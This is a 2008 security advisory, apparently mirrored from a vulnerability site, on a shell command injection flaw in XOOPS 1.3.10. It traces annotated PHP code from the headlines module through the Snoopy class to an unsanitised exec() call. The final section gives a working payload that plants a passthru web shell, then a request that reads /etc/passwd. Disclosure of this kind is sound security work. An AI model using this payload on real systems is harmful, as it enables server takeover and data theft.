Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20477
HistorySep 09, 2008 - 12:00 a.m.

xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )

2008-09-0900:00:00
vulners.com
31

==
xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )

Author: geinblues ( geinblues [at] gmail [dot] com )
DATE: 9.7.2008
Site: http://enterblue.net/~x90c/
Risk: Midium

[0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] )

~/xoops-1.3.10/html/class/snoopy.class.php

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{

/* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours injected parameter From
below fetch() */
$URI_PARTS = parse_url($URI);

            ..
            /* [BREAK 6]: $URI (vulerable parameter) If we can reach to below, Then We can

execute system shell command */
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params."
".$URI,$results,$return);

            ..

}

function fetch($URI)
{

            //preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
            $URI_PARTS = parse_url($URI);
            if (!empty($URI_PARTS["user"]))
                    $this->user = $URI_PARTS["user"];
            if (!empty($URI_PARTS["pass"]))
                    $this->pass = $URI_PARTS["pass"];

            switch($URI_PARTS["scheme"])
            {
                    case "http":
                            ..
                    case "https":   /* [BREAK 3] sourceURl's first 5Bytes ( https in [BREAK 0] )

*/
if(!$this->curl_path || (!is_executable($this->curl_path)))
return false;
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_isproxy)
{
// using proxy, send entire URI
$this->_httpsrequest($URI,$URI,$this->_httpmethod);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ?
"?".$URI_PARTS["query"] : "");

                                    /* [BREAK 4] _httpsrequest(.., $URI, ..); Here Our Supplied

$URI(sourceURl) */
// no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_httpmethod);
}

                    default:
                            ..
            }
            return true;
    }

~/xoops-1.3.10/class/phpsyndication.lib.php

// | required: - PHP |
// | - Snoopy (find it here: http://freshmeat.net/projects/snoopy) |
/* [BREAK 1] We can supply parameter from RSS file into sourceUrl firstly */
class RSStoHTML
{
var $sourceUrl; // location of the source RSS file

    ..
    }

 /**
     * includes Snoopy class for remote file access
     */
    require(XOOPS_ROOT_PATH."/class/snoopy.class.php");


function getData($forcecache=false)
{
if(_PHPSYNDICATION_CONNECTED && $forcecache != true &&
(!file_exists($this->cacheDir.$this->cacheFile) || (filemtime($this->cacheDir.$this->cacheFile) +
$this->cacheTimeout - time()) < 0))
{
$snoopy = new Snoopy;

                            /* [BREAK 2] Here snoopy-&gt;fetch&#40;sourceUrl from [BREAK 1]&#41; member

function calling */
$snoopy->fetch($this->sourceUrl);
$data = $snoopy->results;

                            $cacheFile = fopen&#40;$this-&gt;cacheDir.$this-&gt;cacheFile, &quot;w&quot;&#41;;
                            fwrite&#40;$cacheFile, $data&#41;;
                            fclose&#40;$cacheFile&#41;;
                    }
                    // fsockopen failed the last time, so force cache
                    elseif &#40; $forcecache == true &#41;
                    {
                            if &#40;file_exists&#40;$this-&gt;cacheDir.$this-&gt;cacheFile&#41;&#41; {
                                    $data = implode&#40;&#39;&#39;, file&#40;$this-&gt;cacheDir.$this-&gt;cacheFile&#41;&#41;;
                                    // set the modified time to a future time, and let the server

have time to come up again
touch($this->cacheDir.$this->cacheFile, time() +
$this->cacheTimeout);
} else {
$data = "";
}
} else {
$data = implode('', file($this->cacheDir.$this->cacheFile));
}
return $data;
}

 function getHtml&#40;$fromcache=false&#41;
            {
                    $data = $this-&gt;getData&#40;$fromcache&#41;;


function getTitle($fromcache=false)
{
$data = $this->getData($fromcache=false);


~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php

<?php

function b_headlines_show() {
global $xoopsDB;
$block = array();
$block['title'] = _MB_HEADLINES_TITLE;
$block['content'] = "";
include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");
$cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/";
$cache_time = 3600;
$max_items = 10;
$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM
".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");
$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 WHERE status=2");
while (list($hid, $sitename, $url, $headlinesurl, $status) = $xoopsDB->fetchRow($result)) {
$cache_file = "newsheadline-$hid.cache";
$block['content'] .= "<p>";
// fsockopen was ok the last time, so do it again
if ( $status == 2 ) {
$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, $cache_time,
$max_items);
$block['content'] .= "<b>".$synd->getTitle()."</b><br />";
$block['content'] .= $synd->getHtml();
}
// fsockopen did not return on the last attempt, so use cache
elseif ( $status == 1 ) {
// change cache time to 1 day(24hrs) might be safer

                    /* [BREAK 0] RSStoHTML called when using this headlines module */
                    $synd = new RSStoHTML&#40;$headlinesurl, $cache_dir, $cache_file, 86400,

$max_items);

                    $block[&#39;content&#39;] .= &quot;&lt;b&gt;&quot;.$synd-&gt;getTitle&#40;true&#41;.&quot;&lt;/b&gt;&lt;br /&gt;&quot;;
                    $block[&#39;content&#39;] .= $synd-&gt;getHtml&#40;true&#41;;
            }
            $block[&#39;content&#39;] .= &quot;&lt;/p&gt;&quot;;
            // set status to 2&#40;ok&#41; for headlines that passed fsockopen or used cache
            $xoopsDB-&gt;queryF&#40;&quot;UPDATE &quot;.$xoopsDB-&gt;prefix&#40;&quot;headlines&quot;&#41;.&quot; SET status=2 WHERE

hid=$hid");
}
return $block;
}
?>

[1] Exploitation:

A. (*)INTO DB:
headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php`

B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to
snoopy class's exec(??,$URI,??) )

C.
IN WEB-BROWSER:
http://victim/xoops-1.3.10/html/class/xox.php?cmd=&#39;cat /etc/passwd'

TODO : http://www.xoops.org/modules/news/archive.php
We can search more vulnerable modules else headlinesurl (default module) from above url.